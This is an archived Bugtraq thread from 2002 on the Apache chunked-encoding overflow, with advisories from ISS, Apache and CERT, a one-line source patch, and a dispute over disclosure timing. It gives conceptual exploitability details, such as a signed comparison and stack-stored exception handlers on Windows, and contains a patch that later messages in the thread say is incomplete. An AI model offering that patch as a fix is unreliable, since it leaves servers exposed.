8611631 2002-06-17 11:57 -0400 /161 rader/ X-Force <xforce@iss.net>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-17 18:49 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22672>
Ärende: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: X-Force <xforce@iss.net>
To: bugtraq@securityfocus.com
Message-ID: <200206171557.g5HFvai01927@ra.iss.net>
-----BEGIN PGP SIGNED MESSAGE-----
Internet Security Systems Security Advisory
June 17, 2002
Remote Compromise Vulnerability in Apache HTTP Server
Synopsis:
ISS X-Force has discovered a serious vulnerability in the default
version of Apache HTTP Server. Apache is the most popular Web server
and is used on over half of all Web servers on the Internet. It may
be possible for remote attackers to exploit this vulnerability to
compromise Apache Web servers. Successful exploitation may lead to
modified Web content, denial of service, or further compromise.
Affected Versions:
Apache 1.x
Note: Many commercial Web Application Servers such as Oracle 9ias and
IBM Websphere use Apache HTTP Server to process HTTP requests.
Additional products that bundle Apache HTTP Server for Windows may be
affected.
Description:
The Apache HTTP Server is maintained by the Apache Software
Foundation. Apache is an extremely popular open-source Web
server. Netcraft (http://www.netcraft.com) reports that as of May
2002, Apache accounts for over 63% of all active Web sites. Apaches
installed base is larger than all other Web servers combined.
The Apache Project is an open-source and volunteer collaboration aimed
to create and maintain a free, feature-rich, powerful, and secure Web
server implementation. Apache is well regarded as the best, freely
available Web server.
Apache contains a flawed mechanism meant to calculate the size of
"chunked" encoding. Chunked encoding is part of the HTTP Protocol
Specification used for accepting data from Web users. When data is
sent from the user, the Web server needs to allocate a memory buffer
of a certain size to hold the submitted data. When the size of the
data being submitted is unknown, the client or Web browser will
communicate with the server by creating "chunks" of data of a
negotiated size.
The Apache HTTP Server has a software flaw that misinterprets the size
of incoming data chunks. This error may lead to a signal race, heap
overflow, and to exploitation of malicious code.
X-Force has verified that this issue is exploitable on Apache for
Windows (Win32) version 1.3.24. Apache 1.x for Unix contains the same
source code, but X-Force believes that successful exploitation on most
Unix platforms is unlikely.
Recommendations:
Internet Scanner X-Press Update 6.12 includes a check,
ApacheChunkedEncodingBo, to detect installations of Apache HTTP Server
for Win32. XPU 6.12 is available from the ISS Download Center at:
http://www.iss.net/download. For questions about downloading and
installing this XPU, email support@iss.net.
Detection support for this attack will be included in future X-Press
Updates for RealSecure Network Sensor 6.x and 7.0. These XPUs will be
available from the ISS Download Center, and this alert will be updated
when these updates become available.
ISS X-Force has developed a patch for this issue. Follow the
instructions below, or contact your vendor for assistance:
To apply a source code patch to your Apache package:
1. Locate your source directory and navigate into the "main" sub-
directory.
2. Verify that "http_protocol.c" is present in the current directory.
3. To update your http_protocol.c file, create a file named
"apache_patch.diff", containing the following text:
- --- http_protocol.c.vuln Fri Jun 14 16:12:50 2002
+++ http_protocol.c Fri Jun 14 16:13:47 2002
@@ -2171,7 +2171,7 @@
/* Otherwise, we are in the midst of reading a chunk of data */
- - len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
+ len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz : r->
remaining;
len_read = ap_bread(r->connection->client, buffer, len_to_read);
if (len_read <= 0) {
4. Apply the source code update using the "patch" command, or a
similar
utility.
5. Build new binaries and reinstall.
The Apache Server Project has been notified and will make a formal
patch available soon. Please refer to the Apache Server Projects
homepage for more information: http://httpd.apache.org/
Additional Information:
http://www.iss.net/security_center
http://www.apache.org
http://httpd.apache.org/
Credits:
This vulnerability was discovered and researched by Neel Mehta of the
ISS X-Force.
______
About Internet Security Systems (ISS) Founded in 1994, Internet
Security Systems (ISS) (Nasdaq: ISSX) is a pioneer and world leader
in software and services that protect critical online resources from
an ever-changing spectrum of threats and misuse. Internet Security
Systems is headquartered in Atlanta, GA, with additional operations
throughout the Americas, Asia, Australia, Europe and the Middle East.
Copyright (c) 2002 Internet Security Systems, Inc. All rights reserved
worldwide.
Permission is hereby granted for the electronic redistribution of
this document. It is not to be edited or altered in any way without
the express written consent of the Internet Security Systems
X-Force. If you wish to reprint the whole or any part of this
document in any other medium excluding electronic media, please email
xforce@iss.net for permission.
Disclaimer: The information within this paper may change without
notice. Use of this information constitutes acceptance for use in an
AS IS condition. There are NO warranties, implied or otherwise, with
regard to this information or its use. Any use of this information is
at the user's risk. In no event shall the author/distributor
(Internet Security Systems X-Force) be held liable for any damages
whatsoever arising out of or in connection with the use or spread of
this information.
X-Force PGP Key available on MIT's PGP key server and PGP.com's key
server, as well as at http://www.iss.net/security_center/sensitive.php
Please send suggestions, updates, and comments to: X-Force
xforce@iss.net of Internet Security Systems, Inc.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBPQ4GqzRfJiV99eG9AQHAAQQArA9Xso3VW2fdkUYjyu/mjzji6d13ekEw
o13+G231veDDNdA6dy3QB5JxrspUehzIIvp2Ceo5ZjegBZVEJW0VnnOJ8FsnY6Uj
wArq9Je2r2X55AYOWIVCFtlfcKtON68couPaMumldWcLBQ+ktJCY7oygydXFfs19
6iBtJDMKucs=
=eZeq
-----END PGP SIGNATURE-----
(8611631) /X-Force <xforce@iss.net>/------(Ombruten)
Kommentar i text 8612042
Kommentar i text 8613327 av <valcu.gheorghe@caatoosee.ro>
8613327 2002-06-17 20:50 +0300 /207 rader/ <valcu.gheorghe@caatoosee.ro>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-18 00:23 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: X-Force <xforce@iss.net>
Mottagare: Bugtraq (import) <22680>
Kommentar till text 8611631 av X-Force <xforce@iss.net>
Ärende: Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: <valcu.gheorghe@caatoosee.ro>
To: <bugtraq@securityfocus.com>, "X-Force" <xforce@iss.net>
Message-ID: <013001c21627$82b48740$dc9766c2@caatoosee.ro>
The patch that mentioned casting bufsiz from an int to an unsigned int
failed to do a few things:
1) There are 2 instances of the same code in http_protocol.c that
need to be fixed, as both suffer from the same problem 2) The cast to
unsigned int was only done in comparison, and was not done in
assignment, which could possibly lead to problems down the road with
the int value?
I haven't checked any of this, just noticed it and was really just
wondering "why wasn't this done?".
The code that is apparently "buggy" is this:
len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
The code was mentioned to be changed to this:
len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz :
r->remaining;
However, this doesn't assign that casted value to len_to_read, it
just uses the cast for comparison and then passes on the possibly
bogus data on to len_to_read.
So, should the fix not be to change it to:
len_to_read = (r->remaining > (unsigned int)bufsiz) ? (unsigned
int)bufsiz : r->remaining;
Also, like I mentioned, there are two places where this happens in
http_protocol.c, one at line 2062, and the other (the one mentioned in
the patch) at 2174.
Sysop.
----- Original Message -----
From: X-Force <xforce@iss.net>
To: <bugtraq@securityfocus.com>
Sent: Monday, June 17, 2002 6:57 PM
Subject: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
> -----BEGIN PGP SIGNED MESSAGE-----
>
> Internet Security Systems Security Advisory
> June 17, 2002
>
> Remote Compromise Vulnerability in Apache HTTP Server
>
> Synopsis:
>
> ISS X-Force has discovered a serious vulnerability in the default
> version of Apache HTTP Server. Apache is the most popular Web server and
> is used on over half of all Web servers on the Internet. It may be
> possible for remote attackers to exploit this vulnerability to
> compromise Apache Web servers. Successful exploitation may lead to
> modified Web content, denial of service, or further compromise.
>
> Affected Versions:
>
> Apache 1.x
>
> Note: Many commercial Web Application Servers such as Oracle 9ias and
> IBM Websphere use Apache HTTP Server to process HTTP requests.
> Additional products that bundle Apache HTTP Server for Windows may be
> affected.
>
> Description:
>
> The Apache HTTP Server is maintained by the Apache Software Foundation.
> Apache is an extremely popular open-source Web server. Netcraft
> (http://www.netcraft.com) reports that as of May 2002, Apache accounts
> for over 63% of all active Web sites. Apache's installed base is larger
> than all other Web servers combined.
>
> The Apache Project is an open-source and volunteer collaboration aimed
> to create and maintain a free, feature-rich, powerful, and secure Web
> server implementation. Apache is well regarded as the best, freely
> available Web server.
>
> Apache contains a flawed mechanism meant to calculate the size of
> "chunked" encoding. Chunked encoding is part of the HTTP Protocol
> Specification used for accepting data from Web users. When data is sent
> from the user, the Web server needs to allocate a memory buffer of a
> certain size to hold the submitted data. When the size of the data being
> submitted is unknown, the client or Web browser will communicate with
> the server by creating "chunks" of data of a negotiated size.
>
> The Apache HTTP Server has a software flaw that misinterprets the size
> of incoming data chunks. This error may lead to a signal race, heap
> overflow, and to exploitation of malicious code.
>
> X-Force has verified that this issue is exploitable on Apache for
> Windows (Win32) version 1.3.24. Apache 1.x for Unix contains the same
> source code, but X-Force believes that successful exploitation on most
> Unix platforms is unlikely.
>
> Recommendations:
>
> Internet Scanner X-Press Update 6.12 includes a check,
> ApacheChunkedEncodingBo, to detect installations of Apache HTTP Server
> for Win32. XPU 6.12 is available from the ISS Download Center at:
> http://www.iss.net/download. For questions about downloading and
> installing this XPU, email support@iss.net.
>
> Detection support for this attack will be included in future X-Press
> Updates for RealSecure Network Sensor 6.x and 7.0. These XPUs will be
> available from the ISS Download Center, and this alert will be updated
> when these updates become available.
>
> ISS X-Force has developed a patch for this issue. Follow the
> instructions below, or contact your vendor for assistance:
>
> To apply a source code patch to your Apache package:
>
> 1. Locate your source directory and navigate into the "main" sub-
> directory.
> 2. Verify that "http_protocol.c" is present in the current directory.
> 3. To update your http_protocol.c file, create a file named
> "apache_patch.diff", containing the following text:
>
> - --- http_protocol.c.vuln Fri Jun 14 16:12:50 2002
> +++ http_protocol.c Fri Jun 14 16:13:47 2002
> @@ -2171,7 +2171,7 @@
>
> /* Otherwise, we are in the midst of reading a chunk of data */
>
> - - len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
> + len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz : r->
> remaining;
>
> len_read = ap_bread(r->connection->client, buffer, len_to_read);
> if (len_read <= 0) {
>
> 4. Apply the source code update using the "patch" command, or a similar
> utility.
> 5. Build new binaries and reinstall.
>
> The Apache Server Project has been notified and will make a formal patch
> available soon. Please refer to the Apache Server Project's homepage for
> more information: http://httpd.apache.org/
>
> Additional Information:
>
> http://www.iss.net/security_center
> http://www.apache.org
> http://httpd.apache.org/
>
> Credits:
>
> This vulnerability was discovered and researched by Neel Mehta of the
> ISS X-Force.
>
>
> ______
>
> About Internet Security Systems (ISS)
> Founded in 1994, Internet Security Systems (ISS) (Nasdaq: ISSX) is a
> pioneer and world leader in software and services that protect critical
> online resources from an ever-changing spectrum of threats and misuse.
> Internet Security Systems is headquartered in Atlanta, GA, with
> additional operations throughout the Americas, Asia, Australia, Europe
> and the Middle East.
>
> Copyright (c) 2002 Internet Security Systems, Inc. All rights reserved
> worldwide.
>
> Permission is hereby granted for the electronic redistribution of this
> document. It is not to be edited or altered in any way without the
> express written consent of the Internet Security Systems X-Force. If you
> wish to reprint the whole or any part of this document in any other
> medium excluding electronic media, please email xforce@iss.net for
> permission.
>
> Disclaimer: The information within this paper may change without notice.
> Use of this information constitutes acceptance for use in an AS IS
> condition. There are NO warranties, implied or otherwise, with regard to
> this information or its use. Any use of this information is at the
> user's risk. In no event shall the author/distributor (Internet Security
> Systems X-Force) be held liable for any damages whatsoever arising out
> of or in connection with the use or spread of this information.
>
> X-Force PGP Key available on MIT's PGP key server and PGP.com's key
> server, as well as at http://www.iss.net/security_center/sensitive.php
>
> Please send suggestions, updates, and comments to: X-Force
> xforce@iss.net of Internet Security Systems, Inc.
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBPQ4GqzRfJiV99eG9AQHAAQQArA9Xso3VW2fdkUYjyu/mjzji6d13ekEw
> o13+G231veDDNdA6dy3QB5JxrspUehzIIvp2Ceo5ZjegBZVEJW0VnnOJ8FsnY6Uj
> wArq9Je2r2X55AYOWIVCFtlfcKtON68couPaMumldWcLBQ+ktJCY7oygydXFfs19
> 6iBtJDMKucs=
> =eZeq
> -----END PGP SIGNATURE-----
(8613327) /<valcu.gheorghe@caatoosee.ro>/-(Ombruten)
Kommentar i text 8613601 av bogachev igor <drugoy_bog@mail.ru>
8613266 2002-06-17 11:12 -0700 /104 rader/ Marc Maiffret <marc@eeye.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-18 00:05 av Brevbäraren
Extern mottagare: David Litchfield <david@ngssoftware.com>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22679>
Kommentar till text 8612472 av David Litchfield <david@ngssoftware.com>
Ärende: RE: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: "Marc Maiffret" <marc@eeye.com>
To: "David Litchfield" <david@ngssoftware.com>,
<bugtraq@securityfocus.com>
Message-ID: <MKEAIJIPCGAHEFEJGDOCEENPFLAA.marc@eeye.com>
You bring up a good point David. Barely anyone in the Windows world
is going to sit and recompile their Apache versions especially with
software like Oracle that also uses Apache. ISS has left all these
people in a _very_ bad position.
It is worse than that though. According to Apache the ISS source code
patch does not even work.
Since there has actually been many chunked encoding vulnerabilities
released lately, and exploits (for win32) it only makes sense that it
will take no time for someone to develop an exploit for this Apache
Win32 chunked overflow, and then start using that to break into
systems and what not.
Just read the Apache.org advisory: "While testing for Oracle
vulnerabilities, Mark Litchfield discovered a denial of service
attack for Apache on Windows. Investigation by the Apache Software
Foundation showed that this issue has a wider scope, which on some
platforms results in a denial of service vulnerability, while on some
other platforms presents a potential a remote exploit vulnerability.
We were also notified today by ISS that they had published the same
issue which has forced the early release of this advisory." Sounds
like ISS rushed the release of this to beat you to it Litchfield.
That is rather poor on their part.
If someone has an Apache module that strips chunked encoding that
_should_ at least give people a work around for this vulnerability
for now. Not sure if the module will process before Apache processes
chunked encoding itself but if it does it should work. We are
currently looking into it.
Signed,
Marc Maiffret
Chief Hacking Officer
eEye Digital Security
T.949.349.9062
F.949.349.9538
http://eEye.com/Retina - Network Security Scanner
http://eEye.com/Iris - Network Traffic Analyzer
http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
| -----Original Message-----
| From: David Litchfield [mailto:david@ngssoftware.com]
| Sent: Monday, June 17, 2002 10:08 AM
| To: bugtraq@securityfocus.com
| Subject: Re: Remote Compromise Vulnerability in Apache HTTP Server
|
|
| Like ISS obviously did, one of the first things NGSSoftware did after the
| eEye ASP Chunk Transfer Encoding vulnerability came out, was check 'what
| else' is vulnerable to this kind of issue. Like ISS, NGSSoftware
| also noted
| that the Win32 distribution of Apache was vulnerable.
|
| However, our approach to addressing this problem was/is completely
| different. We alerted Oracle, Apahce and CERT.
|
| Our last response from Mark Fox of Apache was that they "have decided that
| we need to co-ordinate this issue with CERT so that we can get
| other vendors
| who ship Apache in their OS and projects aheads-up to this issue."
| NGSSoftware, of course agreed that this would be the best plan of
| action as
| most people who use the Win32 Apache version do not have a compiler and so
| can take steps to protect themselves. They're mostly relying on
| their apache
| 'supplier' to produce a patch.
|
| Of course, with a premature release from ISS many are now left vulnerable
| without a patch from the apache 'supplier'.
|
| This, now, leads to the next issue. There have been many
| instances where two
| or more security organizations discover the same vulnerability at the same
| time but differ in the manner and time at which they choose to alert the
| general public, leading to all sorts of problems.
|
| With more people and organisations doing security research, perhaps it is
| time for a Vulnerability Co-ordinator Center (a VCC) - some trusted third
| party like an off-shoot of CERT. I know this is not a new idea
| and one which
| has been brought up before but one I think should perhaps be
| discussed again
| and acted upon.
|
| When a vendor is alerted the VCC is CC'd (pun not intentional)
| and this way
| a co-ordinated full alert can go out when the time is right.
|
| Any takers???
|
| Cheers,
| David Litchfield
| Next Generation Security Software Ltd
| http://www.ngssoftware.com/
| +44(0)208 401 0070
|
|
(8613266) /Marc Maiffret <marc@eeye.com>/-(Ombruten)
8612658 2002-06-17 18:21 +0100 /94 rader/ Mark J Cox <mjc@apache.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-17 22:18 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22677>
Ärende: Apache httpd: vulnerability with chunked encoding
------------------------------------------------------------
From: Mark J Cox <mjc@apache.org>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.21.0206171803121.24208-100000@localhost.localdomain>
-----BEGIN PGP SIGNED MESSAGE-----
Date: June 17, 2002 Product: Apache Web Server Versions: Apache 1.3
all versions including 1.3.24, Apache 2 all versions up to 2.0.39
Introduction:
While testing for Oracle vulnerabilities, Mark Litchfield discovered
a denial of service attack for Apache on Windows. Investigation by
the Apache Software Foundation showed that this issue has a wider
scope, which on some platforms results in a denial of service
vulnerability, while on some other platforms presents a potential a
remote exploit vulnerability.
We were also notified today by ISS that they had published the same issue
which has forced the early release of this advisory.
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2002-0392 to this issue.
Description:
Versions of the Apache web server up to and including 1.3.24 and 2.0
up to and including 2.0.36 and 2.0.36-dev versions contain a bug in
the routines which deal with invalid requests which are encoded using
chunked encoding. This bug can be triggered remotely by sending a
carefully crafted invalid request. This functionality is enabled by
default.
In most cases the outcome of the invalid request is that the child
process dealing with the request will terminate. At the least, this
could help a remote attacker launch a denial of service attack as the
parent process will eventually have to replace the terminated child
process and starting new children uses non-trivial amounts of
resources.
On the Windows and Netware platforms, Apache runs one multithreaded
child process to service requests. The teardown and subsequent setup
time to replace the lost child process presents a significant
interruption of service. As the Windows and Netware ports create a
new process and reread the configuration, rather than fork a child
process, this delay is much more pronounced than on other platforms.
In Apache 2.0 the error condition is correctly detected, so it will
not allow an attacker to execure arbitrary code on the
server. However platforms could be using a multithreaded model of
multiple concurrent requests per child process (although the default
preference remains multiple processes with a single thread and
request per process, and most multithreaded models continue to create
multiple child processes). Using any multithreaded model, all
concurrent requests currently served by the affected child process
will be lost.
In Apache 1.3 the issue causes a stack overflow. Due to the nature
of the overflow on 32-bit Unix platforms this will cause a
segmentation violation and the child will terminate. However on
64-bit platforms the overflow can be controlled and so for platforms
that store return addresses on the stack it is likely that it is
further exploitable. This could allow arbitrary code to be run on the
server as the user the Apache children are set to run as.
We have been made aware that Apache 1.3 on Windows is exploitable in
this way.
Please note that the patch provided by ISS does not correct this
vulnerability.
The Apache Software Foundation are currently working on new releases
that fix this issue, please see http://httpd.apache.org/ for updated
versions.
-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8
iQCVAwUBPQ4aj+6tTP1JpWPZAQHIDwP/UrFoCphthG1gd82ZaAQT0hjCaExlFaM2
p8BY5P6JS7VrRlzUoGd/7GRBF9o7foNpgFlANx1NNttr8FhHqlRbFBZH6u1FmTpY
4zGq7GKFuZiiAKWaCaCFcpIQguJ1vlrJc49E9k9jvJhuyzh/0Jz/Lj/wAFgmctqm
6Q7MwIcb1bk=
=fZnx
-----END PGP SIGNATURE-----
(8612658) /Mark J Cox <mjc@apache.org>/---(Ombruten)
8613567 2002-06-17 20:57 +0200 /27 rader/ Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-18 02:11 av Brevbäraren
Extern mottagare: valcu.gheorghe@caatoosee.ro
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: X-Force <xforce@iss.net>
Mottagare: Bugtraq (import) <22688>
Ärende: Re: ISS Advisory: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>
To: <valcu.gheorghe@caatoosee.ro>
Cc: <bugtraq@securityfocus.com>, "X-Force" <xforce@iss.net>
Message-ID: <87k7oxybpt.fsf@CERT.Uni-Stuttgart.DE>
<valcu.gheorghe@caatoosee.ro> writes:
> The patch that mentioned casting bufsiz from an int to an unsigned int
> failed to do a few things:
>
> 1) There are 2 instances of the same code in http_protocol.c that need
> to be fixed, as both suffer from the same problem
> 2) The cast to unsigned int was only done in comparison, and was not
> done in assignment, which could possibly lead to problems down the road
> with the int value?
3) Casting to unsigned int does not help that much if the variable in
question is a long.
The Apache CVS repository now seems contain a correct patch.
--
Florian Weimer Weimer@CERT.Uni-Stuttgart.DE
University of Stuttgart http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT fax +49-711-685-5898
(8613567) /Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>/
8613608 2002-06-17 13:48 -0600 /36 rader/ Dave Ahmad <da@securityfocus.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-18 02:47 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22692>
Ärende: ISS X-Force response (fwd)
------------------------------------------------------------
From: Dave Ahmad <da@securityfocus.com>
To: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.43.0206171346040.19401-100000@mail.securityfocus.com>
ISS has requested that I forward this response to the list.
----------
This vulnerability was originally detected auditing the Apache 2.0
source tree. Apache 2.0 uses the same function to determine the
chunk size, and has the same vulnerable signed comparison. It is,
however, not vulnerable (by luck?) due to a signed comparison deep
within the buffered reading routines (within core_input_filter).
This issue is no more exploitable or unexploitable on a 32-bit
platform than on a 64-bit platform. Due to the signed comparison,
the minimum size passed to the memcpy() function is 0x80000000 or
about 2gb. Unless Apache has over 2gb of contiguous stack memory
located after the target buffer in memory, a segmentation fault will
be caused. If you understand how the stack is used, you will
understand that this is an impossibility.
Apache on "Win32" is not exploitable due to any "64-bit" addressing
issues. It is easily exploitable due to the nature of structured
exception handling on Windows and the fact that exception handler
pointers are stored on the stack.
If the DoS vulnerability is related to the overflow then the ISS
patch will work to prevent it. The unsigned comparison prevents any
stack overflow and as a result any related DoS issue is prevented.
If the DoS issue is unrelated, then of course the ISS patch will not
be of any help.
ISS X-Force
(8613608) /Dave Ahmad <da@securityfocus.com>/(Ombruten)
8613876 2002-06-17 22:01 -0400 /243 rader/ CERT Advisory <cert-advisory@cert.org>
Sänt av: owner-root@lysator.liu.se
Importerad: 2002-06-18 07:31 av Brevbäraren
Extern mottagare: cert-advisory@cert.org
Mottagare: Bellman -- The Recursive Hacker <19056>
Mottaget: 2002-06-18 09:06
Mottagare: Bugtraq (import) <22698>
Sänt: 2002-06-18 15:29
Ärende: CERT Advisory CA-2002-17 Apache Web Server Chunk Handling Vulnerability
------------------------------------------------------------
From: CERT Advisory <cert-advisory@cert.org>
To: cert-advisory@cert.org
Message-ID: <CA-2002-17.1@cert.org>
-----BEGIN PGP SIGNED MESSAGE-----
CERT Advisory CA-2002-17 Apache Web Server Chunk Handling
Vulnerability
Original release date: June 17, 2002
Last revised: --
Source: CERT/CC
A complete revision history can be found at the end of this file.
Systems Affected
* Web servers based on Apache code versions 1.3 through 1.3.24
* Web servers based on Apache code versions 2.0 through 2.0.36
Overview
There is a remotely exploitable vulnerability in the handling of
large chunks of data in web servers that are based on Apache
source code. This vulnerability is present by default in
configurations of Apache web servers versions 1.3 through
1.3.24 and versions 2.0 through 2.0.36. The impact of this
vulnerability is dependent upon the software version and the
hardware platform the server is running on.
I. Description
Apache is a popular web server that includes support for
chunk-encoded data according to the HTTP 1.1 standard as described
in RFC2616. There is a vulnerability in the handling of
certain chunk-encoded HTTP requests that may allow remote
attackers to execute arbitrary code.
The Apache Software Foundation has published an advisory
describing the details of this vulnerability. This advisory is
available on their web site at
http://httpd.apache.org/info/security_bulletin_20020617.txt
II. Impact
For Apache versions 1.3 through 1.3.24 inclusive, this
vulnerability may allow the execution of arbitrary code by remote
attackers. Several sources have reported that this vulnerability
can be used by intruders to execute arbitrary code on Windows
platforms. Additionally, the Apache Software Foundation has
reported that a similar attack may allow the execution of
arbitrary code on 64-bit UNIX systems.
For Apache versions 2.0 through 2.0.36 inclusive, the
condition causing the vulnerability is correctly detected and
causes the child process to exit. Depending on a variety of
factors, including the threading model supported by the vulnerable
system, this may lead to a denial-of-service attack against the
Apache web server.
III. Solution
Apply a patch from your vendor
Apply a patch from your vendor to correct this vulnerability. The
CERT/CC has been informed by the Apache Software Foundation that the
patch provided in the ISS advisory on this topic does not completely
correct this vulnerability. More information about vendor-specific
patches can be found in the vendor section of this document. Because
the publication of this advisory was unexpectedly accelerated,
statements from all of the affected vendors were not available at
publication time. As additional information from vendors becomes
available, this document will be updated.
Upgrade to the latest version
The Apache Software Foundation has released two new versions of
Apache that correct this vulnerability. System administrators can
prevent the vulnerability from being exploited by upgrading
to Apache version 1.3.25 or 2.0.39. The new versions of Apache
will be available from their web site at
http://httpd.apache.org/
Appendix A. - Vendor Information
This appendix contains information provided by vendors for
this advisory. As vendors report new information to the
CERT/CC, we will update this section and note the changes in our
revision history. If a particular vendor is not listed below,
we have not received their comments.
Apache Software Foundation
New versions of the Apache software are available from:
http://httpd.apache.org/
Conectiva Linux
The Apache webserver shipped with Conectiva Linux is
vulnerable to this problem. New packages fixing this problem
will be announced to our mailing list after an official fix
becomes available.
Cray, Inc.
Cray, Inc. does not distribute Apache with any of its
operating systems.
IBM Corporation
IBM makes the Apache Server availble for AIX customers as a
software package under the AIX-Linux Affinity initiative.
This package is included on the AIX Toolbox for Linux
Applications CD, and can be downloaded via the IBM Linux Affinity
website. The currently available version of Apache Server is
susceptible to the vulnerability described here. We will update
our Apache Server offering shortly to version 1.3.23, including
the patch for this vulnerability; this update will be made
available for downloading by accessing this URL:
http://www-1.ibm.com/servers/aix/products/aixos/linux/download.
html
and following the instructions presented there.
Please note that Apache Server, and all Linux Affinity
software, is offered on an "as-is" basis. IBM does not own the
source code for this software, nor has it developed and fully
tested this code. IBM does not support these software packages.
Lotus
We have verified that the Lotus Domino web server is not
vulnerable to this type of problem. Also, we do not ship Apache
code with any Lotus products.
Microsoft Corporation
Microsoft does not ship the Apache web server.
Network Appliance
NetApp systems are not vulnerable to this problem.
RedHat Inc.
Red Hat distributes Apache 1.3 versions in all Red Hat Linux
distributions, and as part of Stronghold. However we do not distribute
Apache for Windows. We are currently investigating the issue and will
work on producing errata packages when an official fix for the problem
is made available. When these updates are complete they will be
available from the URL below. At the same time users of the Red Hat
Network will be able to update their systems using the 'up2date' tool.
http://rhn.redhat.com/errata/RHSA-2002-103.html
Unisphere Networks
The Unisphere Networks SDX-300 Service Deployment System (aka. SSC)
uses Apache 1.3.24. We are releasing Version 3.0 using Apache 1.3.25
soon, and will be issuing a patch release for SSC Version 2.0.3 in the
very near future.
_________________________________________________________________
The CERT/CC thanks Mark Litchfield for reporting this vulnerability to
the Apache Software Foundation, and Mark Cox for reporting this
vulnerability to the CERT/CC.
_________________________________________________________________
Author: Cory F. Cohen
______________________________________________________________________
This document is available from:
http://www.cert.org/advisories/CA-2002-17.html
______________________________________________________________________
CERT/CC Contact Information
Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.
CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) /
EDT(GMT-4) Monday through Friday; they are on call for emergencies
during other hours, on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by
email. Our public PGP key is available from
http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for
more information.
Getting security information
CERT publications and other security information are available
from our web site http://www.cert.org/
To subscribe to the CERT mailing list for advisories and
bulletins, send email to majordomo@cert.org. Please include in
the body of your message
subscribe cert-advisory
* "CERT" and "CERT Coordination Center" are registered in the
U.S. Patent and Trademark Office.
______________________________________________________________________
NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
_________________________________________________________________
Conditions for use, disclaimers, and sponsorship information
Copyright 2002 Carnegie Mellon University.
Revision History
June 17, 2002: Initial release
-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8
iQCVAwUBPQ6RhKCVPMXQI2HJAQHQ7AQAs7nkN3DoS3utJlLUSOrT30PD5FDjSHmu
F3jrO6goHJVpyL5GuliDgrdP1rqZOLr19vbExKo+YMOAGo1R9FQfn6URQMiOsGG7
KeZGGk/fZBf3n8wrA3fu8CXAW5pTi0lu3kGcLYyBU8cqEEkunEFx/nQPsANcu+fR
FnqtSf7LhQI=
=mZEs
-----END PGP SIGNATURE-----
(8613876) /CERT Advisory <cert-advisory@cert.org>/(Ombruten)
8618077 2002-06-18 07:29 +0200 /40 rader/ Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-18 18:36 av Brevbäraren
Extern mottagare: David Litchfield <david@ngssoftware.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22702>
Kommentar till text 8612472 av David Litchfield <david@ngssoftware.com>
Ärende: Re: Remote Compromise Vulnerability in Apache HTTP Server
------------------------------------------------------------
From: Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE>
To: "David Litchfield" <david@ngssoftware.com>
Cc: <bugtraq@securityfocus.com>
Message-ID: <87ptypupbd.fsf@CERT.Uni-Stuttgart.DE>
"David Litchfield" <david@ngssoftware.com> writes:
> With more people and organisations doing security research, perhaps it is
> time for a Vulnerability Co-ordinator Center (a VCC) - some trusted third
> party like an off-shoot of CERT. I know this is not a new idea and one which
> has been brought up before but one I think should perhaps be discussed again
> and acted upon.
I'm not sure if we should condemn ISS for their alleged wrongdoing.
If two teams independently discover the same vulnerability in the same
timeframe, it is not such a bad idea to go ahead and publish because
you have to assume that pretty soon, irresponsible parties discover
it, too.
